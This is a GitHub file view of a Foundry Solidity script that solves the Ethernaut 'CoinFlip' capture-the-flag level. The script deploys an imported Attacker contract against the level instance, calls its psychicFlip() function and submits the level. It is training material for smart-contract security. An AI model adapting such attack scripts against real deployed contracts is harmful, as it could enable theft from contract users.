-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathCoinFlip.s.sol
41 lines (33 loc) · 1.19 KB
/
CoinFlip.s.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {console2} from "forge-std/Script.sol";
import {CheckScript} from "./common/Check.sol";
import {SolveScript} from "./common/Solve.sol";
import {CoinFlip} from "ethernaut/levels/CoinFlip.sol";
import {Attacker} from "~/helpers/CoinFlip.sol";
contract Check is CheckScript("COINFLIP") {}
contract Solve is SolveScript("COINFLIP") {
CoinFlip target;
constructor() {
target = CoinFlip(instance);
}
// run script with option -s="deploy()"
function deploy() public {
vm.startBroadcast();
Attacker attacker = new Attacker(address(target));
vm.stopBroadcast();
console2.log("Attacker deployed at:", address(attacker));
}
// run script with option -s="flip()"
function flip() public {
vm.startBroadcast();
Attacker attacker = Attacker(vm.envAddress("ATKR_COINFLIP"));
bool result = attacker.psychicFlip();
require(result, "failed psychic flip");
vm.stopBroadcast();
}
// finally run the script as usual to submit instance
function attack() public override {
// do nothing here, so it just submits the level
}
}